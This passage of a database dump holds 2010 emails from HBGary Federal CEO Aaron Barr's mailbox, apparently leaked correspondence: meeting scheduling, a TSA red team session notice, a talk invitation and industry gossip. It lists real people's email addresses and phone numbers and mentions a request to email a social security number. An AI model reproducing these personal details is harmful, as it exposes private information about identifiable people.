\r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Steve Booth\r\n                ,\r\n                  Director of Unified Communication and Security at United Natural Foods\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Rob Coderre, CISSP\r\n                ,\r\n                  Senior Solutions Architect\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mark McLaughlin\r\n                ,\r\n                  President and COO at VeriSign, Inc\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Ralph\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     VeriSign\r\n                    \r\n                      Ralph worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Hewlett-Packard\r\n                    \r\n                      Ralph knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Verizon Business\r\n                    \r\n                      Ralph knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Microsoft\r\n                    \r\n                      Ralph knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12884,'aaron_hbgary_com/12884.html'),(10634,'2010-08-19','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297008218.M432502P14101Q5489.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','How about fist thing in the morning - 0800?\r\n\r\nOn Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n\r\n> Hey John,\r\n> \r\n> Do you have any time tomorrow?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n> \r\n>> I\'m good most days next week.\r\n>> Let me know,\r\n>> John\r\n>> \r\n>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>> \r\n>>> Hey John,\r\n>>> \r\n>>> When would you like to get together?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>> \r\n>>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>> \r\n>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Other folks were cleared just need reinstated.\r\n>>>>> \r\n>>>>> Sent from my iPhone\r\n>>>>> \r\n>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>> \r\n>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>> \r\n>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> Sent from my iPhone\r\n>>>>>>> \r\n>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>> \r\n>>>>>>>> Aaron,\r\n>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>> John\r\n>>>>>>>> \r\n>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>> \r\n>>>>>>>>> John,\r\n>>>>>>>>> \r\n>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>> \r\n>>>>>>>>> Aaron\r\n>>>>>>>>> \r\n>>>>>>>>> Sent from my iPad\r\n>>>>>>>>> \r\n>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>> \r\n>>>>>>>>>> Aaron,\r\n>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>> \r\n>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>> \r\n>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>> CEO\r\n>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>> \r\n>>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>> \r\n>>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',12563,'aaron_hbgary_com/12563.html'),(10635,'2010-08-19','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297008218.M632641P14101Q5490.eml','\"Aaron barr\" <aaron@hbgary.com>','4square','Here\'s another link to add to your social networking brief...\r\n\r\nhttp://gawker.com/5537538/the-humiliation-of-a-creepy-russian-sugar-daddy\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n\r\n',12664,'aaron_hbgary_com/12664.html'),(10636,'2010-08-19','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008218.M937962P14101Q5491.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>,\"msteckman@palantir.com\" <msteckman@palantir.com>,\"patricia.krajeski@tasc.com\" <patricia.krajeski@tasc.com>,\"Meaney, Paul A (IS)\" <Paul.Meaney@ngc.com>,\"paul.kuttner@tasc.com\" <paul.kuttner@tasc.com>,\"rob.wilson@telos.com\" <rob.wilson@telos.com>,\"robert.sanderson@telos.com\" <robert.sanderson@telos.com>,\"sondra.spalding@tasc.com\" <sondra.spalding@tasc.com>,\"ted@hbgary.com\" <ted@hbgary.com>,\"tom.leahy@telos.com\" <tom.leahy@telos.com>,\"John.Czaplewski@ngc.com\" <John.Czaplewski@ngc.com>,\"Kenneth.Brancik@ngc.com\" <Kenneth.Brancik@ngc.com>,\"Ken Bajaj\" <kbajaj@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>','TSA ITSSS Red Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Facility, Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAgenda:\r\n&nbsp;\r\n1PM – 1:15 Kick-off\r\n1:15 - 3:30 Review\r\n3:30 – 4&nbsp; Develop Top Ten list \r\n4PM - Dismiss\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',9668,'aaron_hbgary_com/9668.html'),(10637,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008219.M236140P14101Q5492.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Sure where?\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 19, 2010, at 3:02 PM, John Edwards  wrote:\r\n\r\n> How about fist thing in the morning - 0800?\r\n>\r\n> On Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n>\r\n>> Hey John,\r\n>>\r\n>> Do you have any time tomorrow?\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n>>\r\n>>> I\'m good most days next week.\r\n>>> Let me know,\r\n>>> John\r\n>>>\r\n>>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hey John,\r\n>>>>\r\n>>>> When would you like to get together?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>>>\r\n>>>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>>>\r\n>>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Other folks were cleared just need reinstated.\r\n>>>>>>\r\n>>>>>> Sent from my iPhone\r\n>>>>>>\r\n>>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>>>\r\n>>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>>>\r\n>>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>>>\r\n>>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>>>\r\n>>>>>>>> Aaron\r\n>>>>>>>>\r\n>>>>>>>> Sent from my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>>>\r\n>>>>>>>>> Aaron,\r\n>>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>>> John\r\n>>>>>>>>>\r\n>>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> John,\r\n>>>>>>>>>>\r\n>>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Aaron\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>>> CEO\r\n>>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>\r\n>\r\n',10770,'aaron_hbgary_com/10770.html'),(10638,'2010-08-19','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297008219.M567145P14101Q5493.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','Where do you live?  Is it convenient to come to our office in Chantilly?\r\nThat way you can see where we hide.\r\njohn\r\nOn Aug 19, 2010, at 4:06 PM, Aaron Barr wrote:\r\n\r\n> Sure where?\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 19, 2010, at 3:02 PM, John Edwards  wrote:\r\n> \r\n>> How about fist thing in the morning - 0800?\r\n>> \r\n>> On Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hey John,\r\n>>> \r\n>>> Do you have any time tomorrow?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n>>> \r\n>>>> I\'m good most days next week.\r\n>>>> Let me know,\r\n>>>> John\r\n>>>> \r\n>>>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Hey John,\r\n>>>>> \r\n>>>>> When would you like to get together?\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>>>> \r\n>>>>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>>>> \r\n>>>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Other folks were cleared just need reinstated.\r\n>>>>>>> \r\n>>>>>>> Sent from my iPhone\r\n>>>>>>> \r\n>>>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>>>> \r\n>>>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>>>> \r\n>>>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>>>> \r\n>>>>>>>>> Aaron\r\n>>>>>>>>> \r\n>>>>>>>>> Sent from my iPhone\r\n>>>>>>>>> \r\n>>>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>>>> \r\n>>>>>>>>>> Aaron,\r\n>>>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>>>> John\r\n>>>>>>>>>> \r\n>>>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>>>> \r\n>>>>>>>>>>> John,\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Aaron\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>>>> \r\n>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>>>> \r\n>>>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>> \r\n>>>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>>>> CEO\r\n>>>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>> \r\n>>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>> \r\n>> \r\n\r\n',2096,'aaron_hbgary_com/2096.html'),(10639,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008219.M827137P14101Q5494.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Sure I can come\r\nOver.  I live in McLean.  See u at 8am.\r\n\r\nCan u send address?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 19, 2010, at 4:16 PM, John Edwards  wrote:\r\n\r\n> Where do you live?  Is it convenient to come to our office in Chantilly?\r\n> That way you can see where we hide.\r\n> john\r\n> On Aug 19, 2010, at 4:06 PM, Aaron Barr wrote:\r\n>\r\n>> Sure where?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 19, 2010, at 3:02 PM, John Edwards  wrote:\r\n>>\r\n>>> How about fist thing in the morning - 0800?\r\n>>>\r\n>>> On Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hey John,\r\n>>>>\r\n>>>> Do you have any time tomorrow?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n>>>>\r\n>>>>> I\'m good most days next week.\r\n>>>>> Let me know,\r\n>>>>> John\r\n>>>>>\r\n>>>>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hey John,\r\n>>>>>>\r\n>>>>>> When would you like to get together?\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>>>>>\r\n>>>>>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>>>>>\r\n>>>>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>>>>>\r\n>>>>>>>> Other folks were cleared just need reinstated.\r\n>>>>>>>>\r\n>>>>>>>> Sent from my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>>>>>\r\n>>>>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>>>>>\r\n>>>>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Aaron\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPhone\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>>>>> John\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> John,\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Aaron\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>>>>> CEO\r\n>>>>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>\r\n>\r\n',13506,'aaron_hbgary_com/13506.html'),(10640,'2010-08-19','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008227.M310780P14101Q5495.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Dawn Aaron\" <daaron@digitalmanagement.com>','FW: Compenstiona Plan Graphic edits - TSA ITSSS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDisreard my request for printing\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kirby Kintner \r\nSent: Thursday, August 19, 2010 5:22 PM\r\nTo: Dawn Aaron; Anne Redmond\r\nSubject: FW: Compenstiona Plan Graphic edits - TSA ITSSS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9868,'aaron_hbgary_com/9868.html'),(10641,'2010-08-19','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297008227.M679528P14101Q5496.eml','','cybernexus Technical Tuesday - The Rise of the Social Web; 5 Oct 2010; 1600 - 1730','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe presentation will focus on the rise of the social web,\r\nconvergence of technologies to support the social web, and the implications of\r\na growing amount of personally identifiable information (PII) disclosure.\r\nAggregated across social media services, the personal information exposure is\r\ndifficult to manage, and for organizations the aggregated exposure of implicit\r\ninformation is significant. We will discuss the direction of the social web,\r\ndescribe the risks of information exposure to people and organizations as well\r\nas run through some use cases demonstrating the ease of acquiring sensitive\r\ninformation through social reconnaissance. Lastly we will cover what can be\r\ndone today to limit information exposure.\r\n\r\n\r\nPresented by: Aaron Barr of HBGary Federal\r\n\r\nAaron Barr is the CEO of HBGary Federal, a services company focused on delivering\r\nspecialized threat intelligence, incident response, and information operations\r\ncapabilities to the IC, DoD, and Federal agencies. Previously, Aaron served as\r\nthe Director of Technology for the Cybersecurity and SIGINT Business Unit\r\nwithin Northrop Grumman\'s Intelligence Systems Division, and as the Chief\r\nEngineer for Northrop Grumman\'s Cyber Campaign. As Technical Director, he was\r\nresponsible for developing technical strategies and road maps for a $750\r\nmillion organization as well as managing approximately $20 million in Research\r\nand Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12\r\nyears in the United States Navy as an enlisted cryptologist, senior signals\r\nanalyst, software programmer, and system administrator. Mr. Barr served tours\r\nin Misawa, Japan,\r\nNorfolk, Virginia,\r\nPensacola, Florida,\r\nand Rota, Spain. While serving in Norfolk, Virginia,\r\nhe was accepted into the Enlisted Education Advancement Program (EEAP) where he\r\nfinished a Bachelors of Science in Biology, minoring in Chemistry, later\r\ncompleting a Masters in Computer Science with an emphasis in Computer Security.\r\nHe has been a panelist and given speeches on cyber security and emerging\r\ntechnologies at numerous Intelligence Community and DoD conferences and\r\nsymposiums.\r\n\r\n\r\nSAIC will host the Technical Tuesday at our facility at 7035 Albert Einstein, Columbia, MD\r\n 21046.\r\n\r\n&nbsp;\r\n\r\nThis has been posted on LinkedIn as an event and as a\r\ndiscussion on the cybernexus page. I&#8217;ll be posting it on Facebook as\r\nwell.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13685,'aaron_hbgary_com/13685.html'),(10642,'2010-08-19','\"Dr. Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297008227.M885834P14101Q5497.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reconnect','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nDr. Paul Nemirovsky has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/19/2010\r\n\r\n\r\n  Subject:\r\n  Reconnect\r\n\r\n\r\n\r\n  Aaron:\r\n\r\n\r\n\r\nHow are you?  I hope you and your firm are doing well.  I would like to reconnect with Bill Varner at ManTech.  Do you have his email?\r\n\r\n\r\n\r\n\r\n\r\nThank you.\r\n\r\n\r\n\r\n\r\n\r\nPaul\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',6423,'aaron_hbgary_com/6423.html'),(10643,'2010-08-19','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008228.M113048P14101Q5498.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','Re: Ted met with Bit9','I heard recently that a customer of FireEye sent the box back because the product sucked so bad.  Apparently in this case it was catching some Fake-AV but it missed all three APT intrusions the customer had.  Just something a little bird told me.\r\n\r\n \r\n-G\r\nOn Thu, Aug 19, 2010 at 11:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nReduction of false positives would be good.  InQtel told me the only reason they funded FireEye was because of extremely low false positives. Didn&#39;t matter as much how much much they caught.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Aug 19, 2010, at 2:31 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBit9 stopped by the booth.  They have an OEM white listing service that Mandiant and Guidance Software both use.  Ted understood that it may be beneficial to consider this for Active Defense to help reduce false positives.  \r\n\r\n \r\nThey have OEM pricing and will would like to setup a telecom to discuss if we are interested?\r\n \r\nFrom a sales perspective I have agreed to work with the Federal Sales team in the same way we work with Fidelus -- to share leads and account opportunities....Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',13494,'aaron_hbgary_com/13494.html'),(10644,'2010-08-19','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008228.M322443P14101Q5499.eml','\"Karen Burke\" <karen@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>','Re: Intel To Acquire McAfee, Moving Into Online Security',' \r\nI tried to write a quick blog post on it - its pretty rough don&#39;t rip me up too bad - I wanted to put out something - if you have any ideas on strengthing the backbone of this post it might be worth it ??  - otherwise I can punt I only spent about 30 minutes on it so far..\r\n\r\n \r\nsnip ---&gt;\r\n \r\n\r\nIntel Validates the End Node\r\nIn the security industry there is an obsession with the perimeter.  A lion&#39;s share of security budget goes to perimeter security - but McAfee represents visibility and control at the end node - the environment where the bad guys actually live.  Intel&#39;s investment into end-node security is significant. This represents a shift in focus.  Adoption of mobile technology is faster than ever before and the chip-war cannot continue to be based solely on horsepower or power consumption - an integration between hardware and software can create a platform for the future mobile user.  To understand this acquisition you have to think ahead.  Intel 